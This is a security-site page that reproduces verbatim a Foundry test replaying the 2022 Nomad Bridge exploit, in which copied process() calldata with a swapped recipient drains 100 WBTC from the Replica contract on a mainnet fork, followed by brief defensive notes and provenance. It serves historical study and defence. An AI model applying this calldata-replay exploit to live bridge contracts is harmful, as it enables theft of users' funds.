Skip to content
THREATWIRE

Public reproduction file

src/test/2022-08/NomadBridge_exp.sol

Public reproduction file for the historical Nomad Bridge incident (2022-08-02). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/NomadBridge_exp.sol90 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~152M US$
8// Attacker(s) : ☠😈👽🤖🐵🌝🤷‍♂️
9// Replica contract mistakenly initialize : 0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad
10// Example TXs in this reproduce
11// Attacker send 0.01 WBTC to NomadBridge : 0xed26708a7335116bdb0673f32ace7c2f329fe3cd349e200447210f1721f335f0
12// NomadBridge Process 100 WBTC to Attacker : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
14// @Info
15// Nomad BridgeRouter Contract : https://etherscan.io/address/0x88a69b4e698a4b090df6cf5bd7b2d47325ad30a3#code (Proxy)
16// Nomad BridgeRouter Contract : https://etherscan.io/address/0x15fda9f60310d09fea54e3c99d1197dff5107248#code (Logic)
17// Nomad Replica Contract : https://etherscan.io/address/0x5d94309e5a0090b165fa4181519701637b6daeba#code (Proxy)
18// Nomad Replica Contract : https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code (Logic) (Vulnerable!!)
19// WBTC Contract : https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599#code
20// NomadBridge Audit Report : https://github.com/nomad-xyz/docs/blob/1ff0c55dba2a842c811468c57793ff9a6542ef0f/docs/public/Nomad-Audit.pdf (QSP-19 Proving With An Empty Leaf)
22// @Analysis
23// samczsun : https://twitter.com/samczsun/status/1554252024723546112
24// ParadigmEng420 : https://twitter.com/paradigmeng420/status/1554249610574450688
25// 0xfoobar : https://twitter.com/0xfoobar/status/1554269062653411334
26// CertiK : https://twitter.com/CertiKAlert/status/1554305088037978113
27// Beosin : https://twitter.com/BeosinAlert/status/1554303803218083842
28// Blocksec : https://twitter.com/BlockSecTeam/status/1554335271964987395
29// CertiK post-mortem : https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis
31CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32IReplica constant Replica = IReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA);
33IERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
35contract Attacker is Test {
36 function setUp() public {
37 cheat.createSelectFork("mainnet", 15_259_100);
38 cheat.label(address(Replica), "Replica");
39 cheat.label(address(WBTC), "WBTC");
40 }
42 function testExploit() public {
43 console.log(
44 "Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one."
45 );
46 console.log("We mock how attackers/whitehats replay the calldata at block 15259100\n"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
48 emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
49 console.log("Attacker claim 100 WBTC from NomadBridge...");
51 // Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address
52 bytes memory msgP1 =
53 hex"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000";
54 bytes memory recvAddr = abi.encodePacked(address(this));
55 bytes memory msgP2 =
56 hex"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a";
57 bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);
59 // This is _message data structure :
60 /*
61 bytes memory chainId = "beam"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids
62 bytes memory sender = hex"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d";
63 bytes memory nonce = hex"13d6"; // == dec"5078"
64 bytes memory localDomain = hex"657468"; // == str"eth"
65 bytes memory recipientAddress = hex"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)
66 ------------ __message that call BridgeRouter.handle(__message) ------------
67 uint32 _domain = 657468; // == str("eth")
68 bytes32 _id = abi.encodePacked(address(WBTC));
69 bytes32 _to = abi.encodePacked(address(this));
70 uint256 _amnt = 100 * 1e8; // 100 WBTC
71 bytes32 _detailsHash = keccak256(abi.encodePacked(bytes("Wrapped BTC").length, "Wrapped BTC", bytes("WBTC").length, "WBTC", uint8(8)));
72 bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);
73 bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);
74 bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);
75 -----------------------------------------------------------------------------
76 bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);
77 */
79 bool suc = Replica.process(_message);
80 require(suc, "Exploit failed");
82 emit log_named_decimal_uint("Attacker WBTC Balance", WBTC.balanceOf(address(this)), 8);
83 }
86interface IReplica {
87 function process(
88 bytes memory _message
89 ) external returns (bool _success);

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Nomad Bridge incident dated 2022-08-02. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

  • Review privileged entry points
  • Limit what external coin can be pulled without intent checks
  • Pause or migrate when a class of bug is public

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
Nomad Bridge
Path
src/test/2022-08/NomadBridge_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
79b58cca15abbaf72c6580e95ba620c819a41d0e
Language
Solidity
Size
91 lines
Date
2022-08-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-08/NomadBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 79b58cca15abbaf72c6580e95ba620c819a41d0e, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.